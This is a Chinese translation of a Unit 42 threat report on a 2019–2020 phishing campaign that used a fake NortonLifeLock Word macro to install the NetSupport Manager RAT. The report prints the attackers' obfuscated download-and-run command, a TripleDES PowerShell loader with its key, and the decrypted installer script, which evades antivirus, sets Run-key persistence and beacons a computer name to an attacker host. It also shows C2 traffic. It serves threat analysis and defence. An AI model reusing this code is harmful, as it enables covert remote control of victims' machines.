远控软件NetSupport Manager被黑客用于网络钓鱼活动中
2020-03-09 11:10:00 Author: www.4hou.com(查看原文) 阅读量:348 收藏

2020年1月,Unit 42在一起网络钓鱼活动中发现了一份伪装成NortonLifelock公司(前身为赛门铁克)的恶意Word文档,用于分发RAT工具NetSupport Manager。NetSupport Manager是一款正规合法的商业远程访问工具,从2018年起就有攻击者将其用于恶意活动中获取未经授权的访问。

此次行动中,攻击者利用了能逃避动态和静态分析的规避技术,同时利用PowerShell PowerSploit框架来执行恶意文件活动的安装。

介绍

2020年1月上旬,Cortex XDR™引擎检测到一个执行可疑的批处理文件的winword.exe进程。

下图是攻击者所使用的加密文档,要求用户输入密码以启用宏。

文档样本SHA256:E9440A5D2DFE2453AE5B69A9C096F8D4CF9E059D469C5DE67380D76E02DD6975 

图1.伪装的恶意文件

用户打开文档并单击 “Enable Content”后将执行宏,并向用户显示一个密码对话框。

图2.密码对话框

密码可能在向受害者发送的钓鱼邮件中提供,仅接受字母“ c”或“ C”,如下面的宏代码所示。宏代码SHA256:68ca2458e0db9739258ce9e22aadd2423002b2cc779033d78d6abec1db534ac2

如果用户输入了错误的密码,则会显示一条错误消息,并显示处理消息“done” 。只有输入正确的密码后恶意活动才会发生。

收到正确的密码后,宏将继续执行代码并构建以下命令字符串:

cmD /c EChO|SE^t /p=" M^siexe">%temp%\alpaca.bat&EcHo|s^et
/p="c " >>%temp%\alpaca.bat&EcHo|s^et /p="^/i"
>>%temp%\alpaca.bat&EcHo|s^et /p="
http^:^/^/^quickwaysignstx[.]com/view.php
">>%temp%\alpaca.bat&EcHo|s^et /p=" ^/q
&exit">>%temp%\alpaca.bat&%temp%\alpaca.bat&avvfge 2

宏使用VBA表单上的标签来混淆所有字符串,标签包含了两个字符,将这些字符连在一起来构造最终命令,进而在受害者上下载并执行RAT。

命令字符串通过VBA shell函数执行,包括以下操作:

· 通过/ c参数启动cmd.exe –执行命令并退出

· 在受害者%temp%目录中构造一个名为alpaca.bat的批处理文件

· 执行新创建的批处理脚本

批处理脚本使用msiexec,它是Windows安装程序服务的一部分,用于从域中下载和安装Microsoft中间语言(MSIL)二进制文件到机器:

quickwaysignstx[.]com/view.php

提供view.php的服务器似乎会过滤用户代理字符串,使用浏览器访问该站点将显示下图。

image.png

图3.在quickwaysignstx [.] com上对view.php的HTTP GET请求

如果请求中的用户代理字符串是Windows Installer,则返回一个MSI文件。这个用户代理字符串是msiexec命令的一部分,进而支持只在使用msiexec时下载有效负载。MSI有效负载(SHA256: 41D27D53C5D41003BC9913476A3AFD3961B561B120EE8BFDE327A5F0D22A040A)来自www.exemsi [.] com,名为MPZMZQYVXO patch version 5.1。

下载后,MSI将使用/q参数执行,以禁止用户使用任何Windows对话框。在2019年11月报道过类似的活动

MSI在受害者的%temp%目录中安装一个名为REgistryMPZMZQYVXO.ps1的PowerShell脚本。

function HYTNKJSDEH([String] $YTVRJKIEIR, [String] $BORBFDSYOP)
{
$DHPFYCOKLM = “”;
$encoding = New-Object System.Text.ASCIIEncoding;
$KULVWNXDPId = $encoding.GetBytes("DJZGVUGVHDMNIGZD");
$derivedPass = New-Object
System.Security.Cryptography.PasswordDeriveBytes($YTVRJKIEIR,
$encoding.GetBytes($BORBFDSYOP), "SHA1", 2);
[Byte[]] $ESFLDIMUEO = $derivedPass.GetBytes(16);
$LCZJFEXHXR = New-Object
System.Security.Cryptography.TripleDESCryptoServiceProvider;
 
$LCZJFEXHXR.Mode =
[System.Security.Cryptography.CipherMode]::CBC;
$JOVGMJCIKY = $LCZJFEXHXR.CreateDecryptor($ESFLDIMUEO, $KULVWNXDPId);
$LBUWDFHHMZ = New-Object System.IO.MemoryStream($DHPFYCOKLMa,
$True);
$ZSKXKODPKK = New-Object
System.Security.Cryptography.CryptoStream($LBUWDFHHMZ,
$JOVGMJCIKY,
[System.Security.Cryptography.CryptoStreamMode]::Read);
$STDVLFIUQN = $ZSKXKODPKK.Read($JHTZWEZBUW, 0,
$JHTZWEZBUW.Length);
$LBUWDFHHMZ.Close();
$ZSKXKODPKK.Close();
$LCZJFEXHXR.Clear();
if (($JHTZWEZBUW.Length -gt 3) -and ($JHTZWEZBUW[0] -eq 0xEF)
-and ($JHTZWEZBUW[1] -eq 0xBB) -and ($JHTZWEZBUW[2] -eq 0xBF)) {
$h = $JHTZWEZBUW[3..($JHTZWEZBUW.Length-1)]; }
return $encoding.GetString($JHTZWEZBUW).TrimEnd([Char] 0);
}
 $TYCNJNUWWG = HYTNKJSDEH "ew9p5rzlmvcf32b6i0oun8q47tag1xhs"
"7ohp9z481qem6ykbdu2argt5lj3fcsi0";
Invoke-Expression $TYCNJNUWWG;

存储在REgistryMPZMZQYVXO.ps1中的加密数据块是另一个PowerShell脚本,负责将NetSupport Manager RAT安装到受害者上并设置持久性。

PowerShell脚本看上去是用PowerSploit框架中的开源脚本Out-EncryptedScript.ps1生成的。 它包含一个通过base64加密的数据块,并使用密码块链(CBC)的加密模式对TripleDES进行了加密。

此特定样本的解密密码和初始化向量(IV)为:

· 解密密钥= 0xA7A15B277A74CD3233B9DF078ABCDE12

· IV = DJZGVUGVHDMNIGZD

应该注意的是,此样本中使用的IV有可能与PowerSploit生成的其他样本不同。此外,由于IV块的大小为8个字节,因此16个字节的IV将被截断为8个字节。 解密后的PowerShell脚本如下所示:

$scriptPath = split-path -parent
$MyInvocation.MyCommand.Definition
if ($scriptpath -match "avast") {exit}
if ($scriptpath -match "Avast") {exit}
if ($scriptpath -match "AVG") {exit}
if ($scriptpath -match "avg") {exit}
function react (
  $source,
  $destination
)
{
Convert-StringToBinary -InputString $source -FilePath $Destination;
  #      }
     }#}
function Convert-StringToBinary
(
 $InputString
,  $FilePath
)
{
$file= $InputString
$data = [System.Convert]::FromBase64String($file)
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
 
$cs = New-Object System.IO.Compression.GZipStream($ms,
[System.IO.Compression.CompressionMode]::Decompress)
$sr = New-Object System.IO.StreamReader($cs)
$t = $sr.readtoend()#|out-file str.txt
 
$ByteArray = [System.Convert]::FromBase64String($t);
[System.IO.File]::WriteAllBytes($FilePath, $ByteArray);
}
function Install
{
$file1 = “”;
$file2 = “”;
$file3 = “”;
$file4 = “”;
$file5 = “”;
$file6 = “”;
$file7 = “”;
$file8 = “”;
$file9 = “”;
$file10 = “”;
$file11 = “”;
$file12 = “”;
 
$randf=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) |
Get-Random -Count 8 | % {[char]$_}) )
$fpath ="$env:appdata\$randf"
mkdir $fpath
$clientname="presentationhost.exe"
$Source = $file1
$Destination = "$fpath\"+"$clientname"
react -source $source -destination $destination
$Source = $file2
$Destination = "$fpath\client32.ini"
write-host $destination
react -source $source -destination $destination
$Source = $file3
$Destination = "$fpath\HTCTL32.DLL"
react -source $source -destination $destination
$Source = $file4
$Destination = "$fpath\msvcr100.dll"
react -source $source -destination $destination
$Source = $file5
$Destination = "$fpath\nskbfltr.inf"
react -source $source -destination $destination
$Source = $file6
$Destination = "$fpath\NSM.ini"
react -source $source -destination $destination
$Source = $file7
$Destination = "$fpath\NSM.lic"
react -source $source -destination $destination
$Source = $file8
$Destination = "$fpath\pcicapi.dll"
react -source $source -destination $destination
$Source = $file9
$Destination = "$fpath\PCICHEK.DLL"
react -source $source -destination $destination
$Source = $file10
$Destination = "$fpath\PCICL32.DLL"
react -source $source -destination $destination
$Source = $file11
$Destination = "$fpath\remcmdstub.exe"
react -source $source -destination $destination
$Source = $file12
$Destination = "$fpath\TCCTL32.DLL"
react -source $source -destination $destination
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v ServiceDLL /t REG_SZ /d "$fpath\$clientname" /f
start-process "$fpath\$clientname"
#Start-sleep -s 10
Invoke-WebRequest -Uri "http://afsasdfa33[.]xyz/iplog/lepo.php?hst=$env:computername"
$f=get-content $env:temp\insghha4.txt
 
remove-item $env:TEMP\*.ps1
#cmd /c del %temp%\*.ps1 /f
#cmd /c del %temp%\*.txt /f
remove-item $f
}
#ShowConsole
#rights
 
install;

RAT安装程序PowerShell脚本执行以下操作:

1. 如果目标上正在运行Avast或AVG Antivirus软件,则停止安装;

2. 将组成NetSupport Manager RAT的12个文件安装到%appdata%的随机目录(长度为8个)中,例如c:\users\%username%\Appdata\Roaming\%randomvalue%\;

3. 通过创建以下注册表项并设置持久性:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

名称:ServiceDLL

值:Value: C:\Users\%username% \AppData\Roaming\%randomvalue%\presentationhost.exe’

4. 执行NetSupport Manager RAT Presentationhost.exe;

5. 沉睡10秒钟;

6. 将受害者的计算机名称发送到http://afsasdfa33[.]xyz/iplog/lepo.php?hst=%computername%;

7. afsasdfa33[.]xyz返回的所有数据都以insghha4.txt文件的形式保存在%temp%目录中;

8. 从%temp%目录中删除所有文件扩展名为.ps1的文件;

9. 删除名为insghha4.txt的文件。

一旦启动了NetSupport Manager可执行文件(presentationhost.exe),它就会向geo.netsupportsoftware[.]com发出信标,检索主机的地理位置,然后通过HTTP POST发送到http://94.158.245[.]182/fakeurl.htm。

应当注意,NetSupport Manager的原始名称是client32.exe,为了避免怀疑,名称被更改为presentationhost.exe。发送到目标域的流量示例:

POST http://94.158.245[.]182/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Host: 94.158.245[.]182
Connection: Keep-Alive
CMD=POLL
INFO=1
ACK=1

收到回复:

HTTP/1.1 200 OK
Server: NetSupport Gateway/1.6 (Windows NT)
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Connection: Keep-Alive

从受害者发送回的加密数据:

POST http://94.158.245[.]182/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
Host: 94.158.245[.]182
Connection: Keep-Alive
 
 
 
CMD=ENCD
ES=1
DATA=u.2h.r..4.]..%y-…..=I…D3.W..i.7?….=@….F.f….&t.[..6ra..L..Tzg..... ..U.z4.]..%y-A9H=n .:!."Pfd]U,[.(...f=I.....W.p..RHz.....#..@.....>|.?...R...s.nt.G..=}\[email protected][email protected]……..M.6..

延伸

通过其他信息,可以确认相关活动的时间范围为2019年11月初至2020年1月底。

在11月的上半月,相关活动都使用了电子邮件附件,其中包含目标公司曾公开的关联人姓名或使用公众人物的姓名,大多数被提及的公众人物都属于电影或出版行业,邮件都是随机发送的,主题是信用卡相关内容。但从11月底到2020年1月,邮件附件发生了变化,改名为< target company website >.doc并使用在观察到的活动一天内注册的域从电子邮件地址发送。电子邮件主题包含同样的趋势,重复使用与退款相关的主题,以及交易和订单查询。虽然不清楚该活动的总体动机是什么,但这些更改可能会增加收件人打开电子邮件附件的可能性,并表明希望访问目标网络。

相关指标见附录

本文翻译自:https://unit42.paloaltonetworks.com/cortex-xdr-detects-netsupport-manager-rat-campaign/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/21Kz
如有侵权请联系:admin#unsafe.sh